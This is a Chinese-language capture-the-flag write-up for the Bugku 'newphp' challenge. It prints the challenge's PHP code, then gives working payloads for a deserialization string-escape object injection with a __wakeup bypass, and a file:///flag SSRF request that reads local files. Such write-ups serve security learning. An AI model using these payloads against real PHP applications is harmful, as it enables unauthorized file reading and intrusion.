bugku-newphp


打開題目

是一串php代碼

 1 <?php
 2 // php版本:5.4.44
 3 header("Content-type: text/html; charset=utf-8");
 4 highlight_file(__FILE__);
 5 
 6 class evil{
 7     public $hint;
 8 
 9     public function __construct($hint){
10         $this->hint = $hint;
11     }
12 
13     public function __destruct(){
14     if($this->hint==="hint.php")
15             @$this->hint = base64_encode(file_get_contents($this->hint)); 
16         var_dump($this->hint);
17     }
18 
19     function __wakeup() { 
20         if ($this->hint != "╭(●`∀´●)╯") { 
21             //There's a hint in ./hint.php
22             $this->hint = "╰(●’◡’●)╮"; 
23         } 
24     }
25 }
26 
27 class User
28 {
29     public $username;
30     public $password;
31 
32     public function __construct($username, $password){
33         $this->username = $username;
34         $this->password = $password;
35     }
36 
37 }
38 
39 function write($data){
40     global $tmp;
41     $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
42     $tmp = $data;
43 }
44 
45 function read(){
46     global $tmp;
47     $data = $tmp;
48     $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
49     return $r;
50 }
51 
52 $tmp = "test";
53 $username = $_POST['username'];
54 $password = $_POST['password'];
55 
56 $a = serialize(new User($username, $password));
57 if(preg_match('/flag/is',$a))
58     die("NoNoNo!");
59 
60 unserialize(read(write($a)));

發現有一個hint.php文件,試試看能不能直接訪問

 

果然,沒有任何東西,

還是老老實實的審計代碼把

首先在evil類里$this->hint指向文件觸發file_get_contents函數讀取文件內容,然后提示有個hint.php,要構造觸發這個evil類

 

 

再將將evil后面的數字改的更大就行了(繞過_wakeup只需對象屬性個數值改得比真實對象大)

payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

然后再user類中,有read()方法和write() 方法

這兩個方法都是經過處理后才進行反序列化的

這里就有一個漏洞了,php反序列化字符串逃逸

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

漏洞原因:序列化的字符串在經過過濾函數不正確的處理而導致對象注入

詳細的可以看下這篇文章

user類觸發的payload為:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}

這時候我們要替換掉的就是:";s:8:"password";s:41:" 共有23位

而每次添加一組\0\0\0能多吞掉3個字符,所以肯定需要3的倍數,我們可以在password的值上再加一個任意字符,即可湊齊24個

payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

 

 

再將得出的字符串進行base64解碼

 

 

 訪問index.cgi

得到一串代碼

{
  "args": {
    "name": "Bob"
  }, 
  "headers": {
    "Accept": "*/*", 
    "Host": "httpbin.org", 
    "User-Agent": "curl/7.64.0", 
    "X-Amzn-Trace-Id": "Root=1-60cc5790-4d6de1ed0d4813ab786ed249"
  }, 
  "origin": "114.67.246.176", 
  "url": "http://httpbin.org/get?name=Bob"
}

感覺有ssrf

隨便get一下

 

 

 

 果然存在

知道ssrf存在然后就可以通過file協議來直接讀取flag了

payload:?name= file:///flag

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM